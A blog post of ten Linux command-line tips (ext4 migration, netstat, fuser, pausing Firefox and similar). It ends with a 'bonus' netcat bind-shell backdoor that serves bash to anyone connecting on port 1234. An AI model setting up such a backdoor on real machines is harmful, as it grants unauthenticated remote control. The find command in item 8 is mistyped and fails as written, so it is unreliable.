Ubuntu / Linux news and application reviews.

Since a lot of people seem to have found useful my 10 Linux / Unix Commands post, I have decided to write a follow-up:

1. Twitter update from terminal:
curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml

2. Find removed (deleted) files still in use via /proc:
find -L /proc/*/fd -links 0 2>/dev/null

3. Check if network cable is plugged in and working correctly:
mii-tool eth0

4. Migrate existing Ext3 filesystems to Ext4:
tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition
Before doing this, back-up all data on any ext3 partitions that are to be converted to ext4.
After running previous command you MUST run fsck, is needed to return the filesystem to a consistent state.
fsck -pDf /dev/yourpartition
Edit /etc/fstab and change the 'type' from ext3 to ext4 for any partitions that are converted to ext4.

5. On-the-fly unrar movie in .rar archive and play it, does also work on part archives:
unrar p -inul foo.rar|mplayer -

6. List programs with open ports and connections:
netstat -ntauple
or
netstat -lnp

7. Using ruby, search for the string "search" and replace it with the string "replace", on all files with the extension php in the curret folder. Do also a backup of each file with the extension "bkp":
ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php

8. Find files larger than 1 GB, everywhere:
find / -type -f -size +1000000000c

9. Kill a process that is locking a file:
fuser -k filename

10. Manually pause/unpause an application (process) with POSIX-Signals, for instance Firefox:
killall -STOP -m firefox
The above command suspends all Firefox Threads. Results in Zero CPU load. Useful when having 100+ Tabs open and you temporarily need the power elsewhere. Be careful - might produce RACE CONDITIONS or LOCKUPS in other processes or FF itself. Matching is case sensitive.


Bonus: an evil command -> create a backdoor on a machine to allow remote connection to bash:
nc -vv -l -p 1234 -e /bin/bash
This will launch a listener on the machine that will wait for a connection on port 1234. When you connect from a remote machine with something like:
nc 192.168.0.1 1234
You will have console access to the machine through bash.